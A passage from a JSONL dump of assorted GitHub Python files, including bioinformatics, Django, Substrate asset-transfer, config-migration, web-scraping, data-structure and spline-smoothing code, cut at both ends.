collections.Counter(peptide_line_mass(default_peptide[1:]))\n    def_spectrum_count = collections.Counter(default_spectrum)\n    def_spectrum_count.subtract(def_peptide_count)\n    return all([i >= 0 for i in def_spectrum_count.values()])\n\n\ndef sequencing_peptide(default_spectrum):\n    peptides_matrix = [[0]]\n    parent_mass = max(default_spectrum)\n    while peptides_matrix:\n        peptides_matrix = expand(peptides_matrix)\n        for el in peptides_matrix[:]:\n            if sum(el) == parent_mass:\n                if peptide_cycle_mass(el[1:]) == default_spectrum:\n                    print(\"-\".join([str(i) for i in el[1:]]))\n                peptides_matrix.remove(el)\n            elif not consistent(el, default_spectrum):\n                peptides_matrix.remove(el)\n\n\nsequencing_peptide(spectrum)\n","repo_name":"sh1rokovs/Bioinformatics_programs","sub_path":"Spectrum_list.py","file_name":"Spectrum_list.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"43896005842","text":"\nfrom django.conf.urls import url\nfrom . import views\n\n\nurlpatterns = [\n    url(r'^$', views.list, name='list'),\n    url(r'^create/$', views.create, name='create'),\n    url(r'^(?P[\\w-]+)/$', views.detail, name='detail'),\n    #url(r'^(?P[\\w-]+)/$', PostDetailView.as_view(), name='detail'),\n    url(r'^(?P[\\w-]+)/edit/$', views.update, name='update'),\n    url(r'^(?P[\\w-]+)/delete/$', views.delete, name='delete'),\n\n\n]\n","repo_name":"partoftheorigin/curioso_website","sub_path":"curiosoblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"70536167291","text":"import sys\n\nfrom substrateinterface import SubstrateInterface, Keypair\nfrom substrateinterface.exceptions import SubstrateRequestException\n\n# Note that this is in Plancks.\n# The Statemine ED is 1/10th that of the Kusama ED, the same is true for statemint on Polkadot.\nEXISTENTIAL_DEPOSIT = 33333333\nNODE_WSS = \"wss://statemine-rpc.polkadot.io\"\nfor i in sys.argv:\n    # Signal to use statemint on Polkadot P or Statemine on Kusama\n    if i == \"-P\":\n        sys.argv.remove(\"-P\")\n        EXISTENTIAL_DEPOSIT = 10_000_000_00\n        NODE_WSS = \"wss://statemint-rpc.polkadot.io\"\n\nprint(EXISTENTIAL_DEPOSIT)\nprint(NODE_WSS)\n# 10000000000 = 100 Billcoins (8 decimal places)\n\ndef transfer_ed(keypair, dest):\n    try:\n\n        call = substrate.compose_call(\n            call_module='Balances',\n            call_function='transfer',\n            call_params={\n                'dest': dest,\n                'value': EXISTENTIAL_DEPOSIT\n            }\n        )\n\n    \n        extrinsic = substrate.create_signed_extrinsic(call=call, keypair=keypair, era={'period': 64})\n    \n        receipt = substrate.submit_extrinsic(extrinsic, wait_for_inclusion=True)\n        print(\"Extrinsic '{}' sent and included in block '{}'\".format(receipt.extrinsic_hash, receipt.block_hash))\n\n    except SubstrateRequestException as e:\n        print(\"Failed to send: {}\".format(e))\n\ndef transfer_asset(keypair, asset_id, dest, amount):\n    try:\n\n        call = substrate.compose_call(\n            call_module='Assets',\n            call_function='transfer',\n            call_params={\n                'id': asset_id,\n                'target': dest,\n                'amount': amount\n            }\n        )\n\n        extrinsic = substrate.create_signed_extrinsic(call=call, keypair=keypair, era={'period': 64})\n\n        receipt = substrate.submit_extrinsic(extrinsic, wait_for_inclusion=True)\n        print(\"Extrinsic '{}' sent and included in block '{}'\".format(receipt.extrinsic_hash, receipt.block_hash))\n\n    except SubstrateRequestException as e:\n        print(\"Failed to send: {}\".format(e))\n\n# This is ugly, and should probably be changed...\n# Returns true if address is valid, false if not\ndef check_if_valid_address(addr):\n    try:\n        temp_call = substrate.compose_call(\n            call_module='Balances',\n            call_function='transfer',\n            call_params={\n                'dest': addr,\n                'value': EXISTENTIAL_DEPOSIT\n            }\n        )\n        return True\n    except:\n        return False\n    \n        \ndef batch_send_eds(keypair, dest_list):\n\n    try:\n\n        calls = []\n        for dest in dest_list:\n            call = substrate.compose_call(\n                call_module='Balances',\n                call_function='transfer',\n                call_params={\n                    'dest': dest,\n                    'value': EXISTENTIAL_DEPOSIT\n                }\n            )\n            calls.append(call)\n\n        call = substrate.compose_call(\n            call_module='Utility',\n            call_function='batch',\n            call_params={\n                'calls': calls\n            }\n        )\n\n    \n        extrinsic = substrate.create_signed_extrinsic(call=call, keypair=keypair, era={'period': 64})\n        \n        receipt = substrate.submit_extrinsic(extrinsic, wait_for_inclusion=True)\n        print(\"Extrinsic '{}' sent and included in block '{}'\".format(receipt.extrinsic_hash, receipt.block_hash))\n\n    except SubstrateRequestException as e:\n        print(\"Failed to send: {}\".format(e))\n\n\n    \ndef batch_send_assets(keypair, asset_id, dest_list, amount):\n    \n    try:\n\n        calls = []\n        for dest in dest_list:\n            call = substrate.compose_call(\n                call_module='Assets',\n                call_function='transfer',\n                call_params={\n                    'id': asset_id,\n                    'target': dest,\n                    'amount': amount\n                }\n            )\n            calls.append(call)\n\n        call = substrate.compose_call(\n            call_module='Utility',\n            call_function='batch',\n            call_params={\n                'calls': calls\n            }\n        )\n\n    \n        extrinsic = substrate.create_signed_extrinsic(call=call, keypair=keypair, era={'period': 64})\n        \n        receipt = substrate.submit_extrinsic(extrinsic, wait_for_inclusion=True)\n        print(\"Extrinsic '{}' sent and included in block '{}'\".format(receipt.extrinsic_hash, receipt.block_hash))\n\n    except SubstrateRequestException as e:\n        print(\"Failed to send: {}\".format(e))\n\n\n\n##########################################\n# EXECUTION STARTS HERE\n##########################################\n\n\n# Check that a seed phrase is entered\n\nif len(sys.argv) != 5:\n    print(\"Arguments: asset_id amount_in_plancks filename seed_phrase_in_quotes\")\n    sys.exit(\"Could not read arguments\")\n\nprint(sys.argv)\nasset_id = sys.argv[1]\namount = sys.argv[2]\nfilename = sys.argv[3]\nseed = sys.argv[4]\n\n# Connect to node. By default this goes to Statemine, just change RPC endpoint to\n# Statemint to use that instead.\n\nprint(\"Connecting to node...\", end='')\n\nsubstrate = SubstrateInterface(\n    url=NODE_WSS\n)\n\nprint(\" done!\")\n\n# Generate keypair\n\nprint(\"Generating keypair...\", end='')\n\nkeypair = Keypair.create_from_mnemonic(seed)\n\nprint(\" done!\")\n\nprint(\"Reading in addresses...\", end='')\n\ntext_file = open(filename, \"r\")\nlines = text_file.readlines()\ntext_file.close()\n\nprint(\" done!\")\n\nnum_addresses = 0\ndest_list = []\n\nfor line in lines:\n    address = line.rstrip('\\n')\n    if len(address) < 2:\n        continue\n    if check_if_valid_address(address) == False:\n        print(address + \" is not a valid Statemine address, skipping.\")\n        continue\n    \n    num_addresses += 1\n    print(\"Adding \" + address + \" to list\")\n    dest_list.append(address)\n\nprint(\"Sending EDs in batch...\")\nbatch_send_eds(keypair, dest_list)\nprint(\"done!\")\n\nprint(\"Sending assets in batch...\")\nbatch_send_assets(keypair, asset_id, dest_list, amount)\nprint(\"done!\")\n\n\n\n# print(\"Sent asset \" + asset_id + \" to \" + str(num_addresses) + \" accounts.\")\n\n","repo_name":"laboon/asset_sender","sub_path":"send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"3436520085","text":"import json\nimport os.path\nimport sys\nfrom os import path\n\nimport django.core.files\n\n# Commented out because want to avoid having an additional dependency for temporary script\n# from datadiff import diff\nfrom django.core.management.base import BaseCommand, CommandError\nfrom jsonpath_rw import jsonpath, parse\n\nfrom apps.core.management.commands._util import (\n    calculate_hash,\n    configure_transformations,\n    get_domain_targets,\n    get_ordered_domains_list,\n    load_domain_config,\n    setup_domain_and_transformations,\n)\n\n\"\"\"\nThis command transforms the fmgen layouts of all domains into the new caceis-holdings layout.\nThe command receives domain information and churns out the new version based on the general template.\nYou can either work the command for a specific domain, or for all domains.\n\"\"\"\n\n# function that loops through json file and replaces values\n\n\ndef nested_replace(structure, original, new):\n    if type(structure) == list:\n        return [nested_replace(item, original, new) for item in structure]\n\n    if type(structure) == dict:\n        return {\n            key: nested_replace(value, original, new)\n            for key, value in structure.items()\n        }\n\n    if structure == original:\n        return new\n    else:\n        return structure\n\n\nclass Command(BaseCommand):\n    help = \"transforms from FMGEN layout to Simcorp Dimension Layout 2.0\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            \"--domain\",\n            action=\"store\",\n            dest=\"domain\",\n            default=\"all\",\n            help=\"Domain slug (default: update all domains)\",\n        )\n        parser.add_argument(\n            \"--organization\",\n            action=\"store\",\n            dest=\"organization\",\n            default=\"kasbank\",\n            help=\"Client organization slug (default: kasbank)\",\n        )\n\n    def handle(self, *args, **options):\n\n        # determine organization, domain from --domain arg\n        organization_slug = options.get(\"organization\")\n        domain_slug = options.get(\"domain\")\n        print(\n            \"Creating the right files for {} & {}, stand by\".format(\n                organization_slug, domain_slug\n            )\n        )\n\n        # load in fmgen file\n        src = r\"/home/django/fixtures/mappings/{}/{}/targets/fmgen.json\".format(\n            organization_slug, domain_slug\n        )\n\n        with open(src) as f:\n            caceis_holdings_file = json.load(f)\n            c_holdings_current_mapping = caceis_holdings_file[\"transformer\"][\"config\"][\n                \"output\"\n            ][0][\"data\"].copy()\n\n        ### MAPPING KEYS ###\n\n        # caceis-holdings header names replacement key\n        mapping_replace_key = {\n            \"ISIN code\": \"ISIN\",\n            \"Sedol\": \"SEDOL\",\n            \"Cusip\": \"CUSIP\",\n            \"Bloomberg Ticker\": \"Ticker\",\n            \"BR Asset ID\": \"External Identifier\",\n            \"MV Local Excl. AI\": \"MV Local Clean\",\n            \"AI Local\": \"Accrued Interest Local\",\n            \"MV Base Excl. AI\": \"MV Base Clean\",\n            \"AI Base\": \"Accrued Interest Base\",\n            \"SecType\": \"Security Type\",\n            \"Security name\": \"Security Name\",\n            \"Benchmark/Portfolio\": \"Fund Identifier\",\n            \"Leg\": \"Leg Number\",\n            \"Country of issuer 2 letter\": \"Issuer Country\",\n            \"Counterpart Country\": \"Parent Issuer Country\",\n            \"Swap Type\": \"Security Subtype\",\n            \"Pay/Rec\": \"Pay Receive Flag\",\n            \"Counterparty\": \"Issuer Name\",\n            \"Bank Account Type\": \"Security Subtype\",\n            \"Number of units\": \"Number of Units\",\n            # add others as needed\n        }\n        # caceis-holdings final column shape\n        target = [\n            {\"to\": \"ISIN\"},\n            {\"to\": \"SEDOL\"},\n            {\"to\": \"CUSIP\"},\n            {\"to\": \"FIGI\"},\n            {\"to\": \"Ticker\"},\n            {\"to\": \"External Identifier\"},\n            {\"to\": \"Number of Units\"},\n            {\"to\": \"Local Currency\"},\n            {\"to\": \"MV Local Clean\"},\n            {\"to\": \"Accrued Interest Local\"},\n            {\"to\": \"MV Local Incl. AI\"},\n            {\"to\": \"Base Currency\"},\n            {\"to\": \"MV Base Clean\"},\n            {\"to\": \"Accrued Interest Base\"},\n            {\"to\": \"MV Base Incl. AI\"},\n            {\"to\": \"Country\"},\n            {\"to\": \"Price Local\"},\n            {\"to\": \"Price Base\"},\n            {\"to\": \"Security Name\"},\n            {\"to\": \"Security Type\"},\n            {\"to\": \"Maturity Date\"},\n            {\"to\": \"Coupon\"},\n            {\"to\": \"Fund Identifier\"},\n            {\"to\": \"Holdings Date\"},\n            {\"to\": \"Leg Number\"},\n            {\"to\": \"All Legs Present\"},\n            {\"to\": \"Transaction Price\"},\n            {\"to\": \"Currency Cross\"},\n            {\"to\": \"Day Count Convention\"},\n            {\"to\": \"Issuer Name\"},\n            {\"to\": \"Issuer LEI\"},\n            {\"to\": \"Issuer Country\"},\n            {\"to\": \"Parent Issuer LEI\"},\n            {\"to\": \"Parent Issuer Name\"},\n            {\"to\": \"Parent Issuer Country\"},\n            {\"to\": \"Issue Date\"},\n            {\"to\": \"Security Subtype\"},\n            {\"to\": \"Pay Receive Flag\"},\n            {\"to\": \"Coupon Type Leg 1\"},\n            {\"to\": \"Coupon Type Leg 2\"},\n            {\"to\": \"Coupon From Date Leg 1\"},\n            {\"to\": \"Coupon From Date Leg 2\"},\n            {\"to\": \"First Coupon Date Leg 1\"},\n            {\"to\": \"First Coupon Date Leg 2\"},\n            {\"to\": \"Reference Rate Floating Leg 1\"},\n            {\"to\": \"Reference Rate Floating Leg 2\"},\n            {\"to\": \"Fixed Rate Leg 1\"},\n            {\"to\": \"Fixed Rate Leg 2\"},\n            {\"to\": \"Coupon Frequency Leg 1\"},\n            {\"to\": \"Coupon Frequency Leg 2\"},\n            {\"to\": \"Underlying Type Leg 1\"},\n            {\"to\": \"Underlying Type Leg 2\"},\n            {\"to\": \"Underlying Index Leg 1\"},\n            {\"to\": \"Underlying Index Leg 2\"},\n            {\"to\": \"Rate Inflation Swap\"},\n            {\"to\": \"Underlying CUSIP\"},\n            {\"to\": \"Underlying ISIN\"},\n            {\"to\": \"CDS Underlying RED Code\"},\n            {\"to\": \"CDS Reference Entity\"},\n            {\"to\": \"Rating SP\"},\n            {\"to\": \"Rating Moodys\"},\n            {\"to\": \"Rating Fitch\"},\n            {\"to\": \"Spread\"},\n            {\"to\": \"Option Type\"},\n            {\"to\": \"Option Exercise Style\"},\n            {\"to\": \"Option Strike Price\"},\n            {\"to\": \"Option Transaction Number\"},\n            {\"to\": \"Swaption Underlying Fund Identifier\"},\n            {\"to\": \"Swaption Underlying Security Type\"},\n            {\"to\": \"Swaption Call or Put\"},\n            {\"to\": \"Swaption Expiry Date\"},\n            {\"to\": \"Swaption Reference Rate\"},\n            {\"to\": \"Swaption Underlying Name\"},\n            {\"to\": \"Swaption Underlying Maturity Date\"},\n            {\"to\": \"Tick Size\"},\n            {\"to\": \"Tick Value\"},\n            {\"to\": \"Conversion Factor\"},\n            {\"to\": \"ISIN Deliverable\"},\n            {\"to\": \"CIC Code\"},\n        ]\n\n        # update c_holdings_current_mapping to new naming scheme\n        def map_value(input_key):\n            if input_key in mapping_replace_key:\n                return mapping_replace_key[input_key]\n\n            return input_key\n\n        for item in c_holdings_current_mapping:\n            if \"to\" in item:\n                item[\"to\"] = map_value(item[\"to\"])\n\n        # replace old mapping with new mapping\n        caceis_holdings_file[\"transformer\"][\"config\"][\"output\"][0][\"data\"] = target\n\n        # compares old fmgen with new caceis-holdings, if old had an entry, add entry to new\n        for item in caceis_holdings_file[\"transformer\"][\"config\"][\"output\"][0][\"data\"]:\n\n            for item_f in c_holdings_current_mapping:\n                if \"to\" in item_f:\n                    if item[\"to\"] == item_f[\"to\"]:\n                        if \"from\" in item_f:\n                            item[\"from\"] = item_f[\"from\"]\n                        if \"format\" in item_f:\n                            item[\"format\"] = item_f[\"format\"]\n                        if \"map\" in item_f:\n                            item[\"map\"] = item_f[\"map\"]\n\n        # update some naming stuff\n        caceis_holdings_file[\"setup\"][\"targetDomain\"] = \"caceis-holdings\"\n        caceis_holdings_file[\"transformer\"][\"config\"][\"variables\"][\n            \"filename\"\n        ] = \"CACEIS-HOLDINGS_{shareClassIdentifier}_{isoDateTime}.csv\"\n\n        # nested_replace replaces one word with another\n        caceis_holdings_file = nested_replace(\n            caceis_holdings_file, \"InstrLookup\", \"InstrLookupCode\"\n        )\n\n        caceis_holdings_file = nested_replace(\n            caceis_holdings_file, \"cicSecType\", \"cicSecTypeCode\"\n        )\n\n        # Add a hash of the current config to check if it was changed.\n        caceis_holdings_file[\"hash\"] = calculate_hash(caceis_holdings_file)\n\n        # caceis-holdings file path\n        dst = (\n            r\"/home/django/fixtures/mappings/{}/{}/targets/caceis-holdings.json\".format(\n                organization_slug, domain_slug\n            )\n        )\n\n        # compares new hash with current caceis-holdings.json hash.\n        if os.path.exists(dst):\n            current_caceis_holdings = dst\n            with open(current_caceis_holdings, \"r\") as cf:\n                c_c_holdings = json.load(cf)\n\n            # calculate hash existing caceis_holdings_file\n            hash_test_current = calculate_hash(c_c_holdings)\n            hash_test_new = calculate_hash(caceis_holdings_file)\n\n            # if equal abandon script\n            if hash_test_current == hash_test_new:\n                sys.exit(\"target file up to date, stopping script\")\n\n            # if not equal ask if you want to see the difference\n            if hash_test_current != hash_test_new:\n                answer = input(\n                    \"Differences detected between the new and current caceis-holdings file. Check what will be changed? [y/n]: \"\n                )\n                if answer == \"y\":  # look at diffs\n                    print(\n                        diff(\n                            c_c_holdings[\"transformer\"][\"config\"][\"output\"][0][\"data\"],\n                            caceis_holdings_file[\"transformer\"][\"config\"][\"output\"][0][\n                                \"data\"\n                            ],\n                        )\n                    )\n                if answer == \"n\":  # continue\n                    pass\n\n                overwrite_file = input(\"want to overwrite the file? [y/n]: \")\n                if overwrite_file == \"n\":  # update hash in current file, exit\n                    sys.exit(\"Not overwriting, stopping script.\")\n                if overwrite_file == \"y\":  # continue script\n                    pass\n\n        else:\n            pass\n\n        # return updated file to location\n\n        with open(dst, \"w\") as xz:\n            json.dump(caceis_holdings_file, xz, indent=3)\n\n        ### CONFIG FILE ACTION STARTS HERE ###\n\n        # opening right file, adding it to var to update\n        config_file = r\"/home/django/fixtures/mappings/{}/{}/config.json\".format(\n            organization_slug, domain_slug\n        )\n\n        with open(config_file, \"r\") as c:\n            config_full = json.load(c)\n\n        # make a copy if there is an InstrLookuplist\n        try:\n            instr_lookup_code = config_full[\"lists\"][\"InstrLookup\"].copy()\n        except KeyError:\n            sys.exit(\"caceis-holdings update for {} complete!\".format(domain_slug))\n\n        # mapping key for 'InstrLookup' to 'InstrLookupNew'\n        config_mapping_key = {\n            \"1\": \"Fixed Income\",\n            \"2\": \"Equity\",\n            \"3\": \"Cash\",\n            \"4\": \"Future\",\n            \"5\": \"FX Forward\",\n            \"6\": \"Option\",\n            \"7\": \"SWAPS\",\n            \"8\": \"CDS\",\n            \"9\": \"Loan\",\n            \"10\": \"Warrants\",\n            \"11\": \"Municipal\",\n            \"12\": \"US Pool\",\n            \"13\": \"CP/CD\",\n            \"14\": \"Repo\",\n            \"15\": \"TBA\",\n            \"16\": \"Time Deposit\",\n            \"17\": \"FX Option\",\n            \"18\": \"Swaption\",\n        }\n\n        # function that looks up keys in config_mapping_key\n        def config_map_value(input_key):\n            input_key = str(input_key)\n            if input_key in config_mapping_key:\n                return config_mapping_key[input_key]\n            return input_key\n\n        # loop through keys & replace values from config_mapping_key\n        for item in instr_lookup_code:\n            instr_lookup_code[item] = config_map_value(instr_lookup_code[item])\n\n        # add _new to config_full under lists\n        config_full[\"lists\"][\"InstrLookupCode\"] = instr_lookup_code\n\n        with open(config_file, \"w\") as cf:\n            json.dump(config_full, cf, indent=2)\n\n        # happy prints\n        print(\"caceis-holdings & config update {} complete!\".format(domain_slug))\n        print(\"(づ ̄ ³ ̄)づ\")\n","repo_name":"KoenQQ/incident_monitor_nl","sub_path":"backend/scraper/management/commands/mesoica_migrate_config.py","file_name":"mesoica_migrate_config.py","file_ext":"py","file_size_in_byte":12831,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"42129455807","text":"#!/usr/bin/env python\n# coding=utf-8\n\nfrom lxml import etree\nimport requests\nimport csv\nimport time\n\n# 代码效果未完成...\n\ndef spider():\n    # 定义头部\n    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) '\n                             'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'\n               }\n    pre_url = 'https://shenzhen.qfang.com/sale/'\n    html = requests.get(pre_url, headers=headers)\n    for x in range(1,2):\n        html = requests.get(pre_url + str(x), headers=headers)\n        time.sleep(2)\n        selector = etree.HTML(html.text)\n        list=selector.xpath('//*[@id=\"cycleListings\"]/ul/li')\n    print(list)\n\nspider()\n","repo_name":"mahayu2019/mypachong","sub_path":"pcsl/04/eg412.py","file_name":"eg412.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10017500243","text":"from django.views.generic import TemplateView\nfrom .controller import PageController\nfrom apps.articles.models import Article\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.db.models import Q\n\n# Create your views here.\n\n\nclass Search(TemplateView):\n\n    template_name = 'articles/search.html'\n\n    def get_context_data(self, **kwargs):\n        context = super(Search, self).get_context_data(**kwargs)\n        search = self.request.GET.get('search', None)\n        if search:\n            search = search.strip()\n            articles = Article.objects.published_news().filter(\n                Q(title__icontains=search) | Q(tags__name__icontains=search) |\n                Q(category__name__icontains=search)\n            )\n            context['articles'] = articles\n        else:\n            context['articles'] = Article.objects.none()\n        context['search'] = search\n        return context\n\n\nclass ArticleController(TemplateView):\n    \"\"\"\n    This view handles\n\n    1.Home Page.\n    2.Article Listing\n    3.Article Detail Page\n    4.Search Page\n    \"\"\"\n    template_name = 'articles/base.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        controller = PageController(kwargs.get('path'), self.request.GET, self.request)\n        page, page_context, page_template = controller.get_page_and_template()\n        context['page_template'] = page_template\n        context['page_context'] = page_context\n        context['page'] = page\n        return context\n\n\nclass Videos(TemplateView):\n\n    template_name = 'articles/video.html'\n\n\nclass AboutController(TemplateView):\n\n    template_name = 'articles/about.html'\n\n\n\n\n","repo_name":"Shyamkumar61/newsportal","sub_path":"apps/articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22962406882","text":"\"\"\"\nCRACKING THE CODING INTERVIEW\n3.4. Queue via stacks:\nImplement a `MyQueue` class which implements aqueue using two stacks.\n\"\"\"\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass StackNode:\n    data: int\n    next = None\n\n\nclass Stack:\n    def __init__(self) -> None:\n        self.top = None\n        self.size = 0\n\n    def push(self, data: int):\n        node = StackNode(data)\n        node.next = self.top\n        self.top = node\n        self.size += 1\n\n    def peek(self) -> int:\n        if self.top is None:\n            return None\n        return self.top.data\n\n    def pop(self) -> int:\n        if self.top is None:\n            raise ValueError(\"The stack is empty, `pop()` failed\")\n        data = self.top.data\n        self.top = self.top.next\n        self.size -= 1\n        return data\n\n    def is_empty(self):\n        return self.size == 0\n\n\nclass MyQueue:\n    def __init__(self) -> None:\n        self.newest_stack = Stack()\n        self.oldest_stack = Stack()\n\n    def push(self, data: int):\n        self.newest_stack.push(data)\n\n    def peek(self) -> int:\n        # In a queue, peek() returns the oldest element\n\n        # Shift the elements from the `newest_stack`\n        # to the `oldest_stack`\n        self._shift_to_oldest()\n\n        # Peek the newest node in the `oldest_stack`,\n        # which was the oldest node in the `newest_stack`\n        return self.oldest_stack.peek()\n\n    def _shift_to_oldest(self):\n        # Shifts the elements from `newest_stack`\n        # to `oldest_stack` only if\n        # `oldest_stack` is empty\n        if self.oldest_stack.is_empty():\n            while self.newest_stack.size:\n                elem = self.newest_stack.pop()\n                self.oldest_stack.push(elem)\n\n    def pop(self):\n        # Ensure `oldest_stack` has the current elements\n        self._shift_to_oldest()\n\n        return self.oldest_stack.pop()\n\n\nif __name__ == \"__main__\":\n    print(\"-\" * 60)\n    print(\"QUEUE VIA TWO STACKS\")\n    print(\"-\" * 60)\n\n    stack = MyQueue()\n    print(\"\\nPushing data into MyQueue...\")\n    for i in range(5, 10):\n        stack.push(i)\n        print(f\"stack.push({i})\")\n        print(f\"stack.peek() = {stack.peek()}\", stack.peek() == 5)\n        print()\n\n    stack = MyQueue()\n    print(\"Pushing data into MyQueue...\")\n    for i in range(5, 10):\n        stack.push(i)\n        print(f\"stack.push({i})\")\n    print(f\"stack.peek() = {stack.peek()}\", stack.peek() == 5)\n\n    print(\"\\nPopping data from MyQueue...\")\n    for i in range(5, 9):\n        print(f\"stack.pop() = {stack.pop()}\")\n        print(f\"stack.peek() = {stack.peek()}\", stack.peek() == i + 1)\n        print()\n    print(f\"stack.pop() = {stack.pop()}\")\n    print(f\"stack.peek() = {stack.peek()}\", stack.peek() is None)\n","repo_name":"daalgi/algorithms","sub_path":"stacks/queue_via_stacks.py","file_name":"queue_via_stacks.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"31035769448","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom matplotlib import pyplot as plt\nfrom copy import deepcopy\n\n# this was class modified from alecxe's answer at\n# https://stackoverflow.com/questions/30964922/selenium-wait-until-text-in-webelement-changes\n\n\ndef run5k():\n    itr = []\n    los = []\n\n    element = driver.find_element_by_id(\"report\")\n    current = element.text\n    items = current.split(\"\\n\")\n    loss = float(items[0].split(\": \")[1])\n    iteration = int(items[1].split(\": \")[1])\n    itr.append(iteration)\n    los.append(loss)\n\n    while(iteration < 5000):\n        try:\n            WebDriverWait(driver, 0.1).until(\n                text_to_change((By.ID, \"report\"), current)\n            )\n            current = element.text\n            items = current.split(\"\\n\")\n            loss = float(items[0].split(\": \")[1])\n            iteration = int(items[1].split(\": \")[1])\n            itr.append(iteration)\n            los.append(loss)\n        except selenium.common.exceptions.TimeoutException:\n            pass\n    return itr, los\n\n\nclass text_to_change(object):\n\n    def __init__(self, locator, text):\n        self.locator = locator\n        self.text = text\n\n    def __call__(self, driver):\n        actual_text = driver.find_element(self.locator[0], self.locator[1]).text\n        return actual_text != self.text\n\ndriver = webdriver.Firefox()\ndriver.get(\"http://cs.stanford.edu/people/karpathy/convnetjs/demo/image_regression.html\")\n\nlayerdef = driver.find_element_by_id(\"layerdef\")\ndefs = layerdef.get_attribute(\"value\").split(\"\\n\")\n\ncolors = ['b', 'r']\ni = 0\nitr, los = run5k()\nplt.plot(itr, los, color=colors[i])\ni += 1\n\nstart = defs[:9]\nend = defs[9:]\nstart.append(defs[8])\nstart.append(defs[8])\nstart.append(defs[8])\ndefs = start + end\ndefs = \"\\n\".join(defs)\nprint(defs)\nprint(\"\\n\")\nlayerdef.clear()\nlayerdef.send_keys(defs)\ndriver.find_element_by_id(\"buttontp\").click()\n\nitr, los = run5k()\nplt.plot(itr, los, color=colors[i])\ni += 1\n\ndriver.close()\n\nplt.title(\"Iterations v Loss\")\nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Loss\")\nplt.savefig(\"nice4.png\")\n","repo_name":"Vijay-P/CS5786-04","sub_path":"scraper4.py","file_name":"scraper4.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"6350513694","text":"import numpy as np\nfrom scipy.optimize import minimize\nfrom numbers import Number\n\nclass SplineSmoother():\n    def __init__(self, t, y, k=3, s=None, nk=None):\n        \"\"\" Spline Smoother: 1D data\n\n        Arguments\n        ----------\n        t: independent variable\n        y: dependent variable\n        k: spline degree\n        s: smoothing coefficient (> 0)\n        nk: number of knots (defaults to 0.1 of length of input)\n        \"\"\"\n        self.k = k\n        self.t = t\n        self.y = y\n        self.d = 0\n\n        if nk is not None:\n            self.K = nk\n        else:\n            self.K = int(len(t)//10)\n        self.knots = None\n        self.build_knots(t)\n        \n        self.n = len(t)\n        self.m = 2\n\n        self.X = self.build_X(t)\n\n        self.Z = self.build_Z(t)\n\n        if s is None:\n            self.autosmooth(y)\n        else:\n            self.s = s\n\n        self.b = None\n        self.u = None\n        self.compute_coefs()\n\n    def __call__(self, ti):\n        _num = False\n        if isinstance(ti, Number):\n            ti = [ti]\n            _num = True\n        interp = self.build_X(ti)@self.b + self.build_Z(ti)@self.u\n        if _num:\n            return interp.item()\n        else:\n            return interp\n\n    def build_knots(self, t):\n        \"\"\"Constructs uniformly spaced knots\"\"\"\n        lims = np.min(t), np.max(t)\n        self.knots = np.linspace(*lims, self.K)\n\n    def build_X(self, t):\n        \"\"\"Constructs the X matrix (fixed effects, linear trend)\"\"\"\n        return np.hstack([np.ones((len(t), 1)), np.array(t).reshape((-1, 1))])\n\n    def build_Z(self, t, d=None):\n        \"\"\"Constructs the Z matrix (random effects, nonlinear spline portion)\"\"\"\n        bas = np.array([[ti-k if ti >= k else 0 for k in self.knots] for ti in t])\n        if d is None:\n            return np.hstack([bas**i for i in range(1, self.k+1)])\n        else:\n            bas_zero = (bas > 0).astype(float)\n            return np.hstack([np.prod(np.arange(i-d+1, i+1)) * (bas**(i-d) if i>d else bas_zero) for i in range(1, self.k+1)])\n\n    def spl_coefs(self, l, y):\n        \"\"\"Computes the spline coefficients given lambda l and data y\"\"\"\n        X, Z, K = self.X, self.Z, self.K*self.k\n        A = np.vstack([np.hstack([X.T@X, X.T@Z]), np.hstack([Z.T@X, Z.T@Z+l**2*np.eye(K)])])\n        return np.linalg.solve(A, np.vstack([X.T, Z.T])@y)\n\n    def set_s(self, s):\n        self.s = s\n        self.compute_coefs()\n\n    def compute_coefs(self):\n        b1, b2, *u = self.spl_coefs(self.s, self.y)\n        self.b = np.array([b1, b2]).T\n        self.u = u\n\n    def build_likelihood(self, y):\n        \"\"\"Builds the REML lieklihood for the spline as a function of smoothing bandwidth lambda\n        \n        Assumes y = Xb + Zu + e\n        \"\"\"\n        dof = self.n - self.m\n        n, m, X, Z = self.n, self.m, self.X, self.Z\n        def likelihood(p):\n            lm, = p\n            Sig = 1/lm**2 * Z@Z.T + np.eye(n)\n            r = y - X@self.spl_coefs(lm, y)[:m]\n            slm = 1/dof * r.T@np.linalg.solve(Sig, r)\n            lk = (dof\n                  + np.log(np.linalg.det(Sig))\n                  + dof*np.log(slm*dof)\n                  + np.log(np.linalg.det(X.T@np.linalg.solve(Sig, X))))\n            return 0.5*lk\n        return likelihood\n\n    def autosmooth(self, y):\n        \"\"\"Optimise for best smoothing bandwidth (lambda)\"\"\"\n        likelihood = self.build_likelihood(y)\n        res = minimize(likelihood, [1], 